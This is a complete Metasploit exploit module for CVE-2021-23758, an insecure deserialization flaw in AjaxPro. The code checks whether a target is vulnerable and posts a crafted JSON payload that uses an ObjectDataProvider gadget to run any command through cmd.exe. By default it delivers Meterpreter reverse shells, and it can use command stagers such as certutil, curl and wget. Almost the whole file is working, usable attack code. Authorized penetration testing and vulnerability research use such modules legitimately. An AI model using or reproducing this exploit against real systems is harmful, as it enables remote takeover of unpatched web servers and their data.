##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'AjaxPro Deserialization Remote Code Execution',
        'Description' => %q{
          This module leverages an insecure deserialization of data to get
          remote code execution on the target OS in the context of the user
          running the website which utilized AjaxPro.

          To achieve code execution, the module will construct some JSON data
          which will be sent to the target. This data will be deserialized by
          the AjaxPro JsonDeserializer and will trigger the execution of the
          payload.

          All AjaxPro versions prior to 21.10.30.1 are vulnerable to this
          issue, and a vulnerable method which can be used to trigger the
          deserialization exists in the default AjaxPro namespace.

          AjaxPro 21.10.30.1 removed the vulnerable method, but if a custom
          method that accepts a parameter of type that is assignable from
          `ObjectDataProvider` (e.g. `object`) exists, the vulnerability can
          still be exploited.

          This module has been tested successfully against official AjaxPro on
          version 7.7.31.1 without any modification, and on version 21.10.30.1
          with a custom vulnerable method added.
        },
        'Author' => [
          'Hans-Martin Münch (MOGWAI LABS)', # Discovery
          'Jemmy Wang' # MSF Module
        ],
        'References' => [
          ['CVE', '2021-23758'],
          ['URL', 'https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/']
        ],
        'DisclosureDate' => '2021-12-03',
        'License' => MSF_LICENSE,
        'Platform' => ['windows'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
                'CMDSTAGER::FLAVOR' => 'certutil'
              },
              'CmdStagerFlavor' => %w[vbs certutil debug_write debug_asm tftp psh_invokewebrequest curl wget lwp-request]
            }
          ],
        ],
        'DefaultOptions' => { 'WfsDelay' => 30 },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [SCREEN_EFFECTS, IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to AjaxPro Handler', '/ajaxpro/']),
      OptString.new('Namespace', [true, 'Namespace of vulnerable method', 'AjaxPro.Services.ICartService,AjaxPro.2']),
      OptString.new('Method', [true, 'Name of vulnerable method', 'AddItem']),
      OptString.new('Parameter', [true, 'Name of vulnerable parameter', 'item'])
    ])

    @ajax_pro = { ID: 'AjaxPro' }
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'core.ashx'),
      'keep_cookies' => true
    )
    unless res
      return CheckCode::Unknown("Target did not respond to #{normalize_uri(target_uri.path, 'core.ashx')}")
    end

    unless res.code == 200 && res.headers['Content-Type'].include?('application/x-javascript')
      return CheckCode::Safe('Is not AjaxPro?')
    end

    unless (cap = res.body.match(/ID: ?"(\S+?)",/).captures)
      return CheckCode::Detected('Failed to get AjaxPro ID.')
    end

    @ajax_pro[:ID] = cap[0]

    unless (cap = res.body.match(/version: ?"(\S+?)",/).captures)
      return CheckCode::Detected('Failed to get AjaxPro version.')
    end

    @ajax_pro[:version] = cap[0]

    if Rex::Version.new(@ajax_pro[:version]) >= Rex::Version.new('21.10.30.1')
      return CheckCode::Safe("AjaxPro version #{@ajax_pro[:version]} is not vulnerable.")
    end

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),
      'keep_cookies' => true
    )
    unless res
      return CheckCode::Appears('Failed to check if the target method exists.')
    end

    unless res.code == 200 && res.body.match(/#{datastore['Method']}: ?function ?\((\S+?, ?)*#{datastore['Parameter']}(, ?\S+?)*\) ?\{/)
      return CheckCode::Appears("But method '#{datastore['Method']}' with parameter '#{datastore['Parameter']}' was not found in namespace '#{datastore['Namespace']}'")
    end

    CheckCode::Appears("Confirmed target method exists and the AjaxPro version (#{@ajax_pro[:version]}) is vulnerable.")
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")
    json_post_data = JSON.generate(
      {
        "#{datastore['Parameter']}": {
          __type: 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
          MethodName: 'Start',
          ObjectInstance: {
            __type: 'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            StartInfo: {
              __type: 'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
              FileName: 'cmd',
              Arguments: "/c #{cmd}"
            }
          }
        }
      }
    )

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),
      'ctype' => 'text/plain; charset=utf-8',
      'headers' => { "X-#{@ajax_pro[:ID]}-Method" => datastore['Method'] },
      'data' => json_post_data
    })
    unless res
      fail_with(Failure::Unreachable, "Request to #{normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx')} failed.")
    end

    unless res.code == 200
      fail_with(Failure::Unknown, "Failed to execute command. Server returned #{res.code} status.")
    end
  end

  def exploit
    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager(background: true, delay: 1)
    end
  end
end
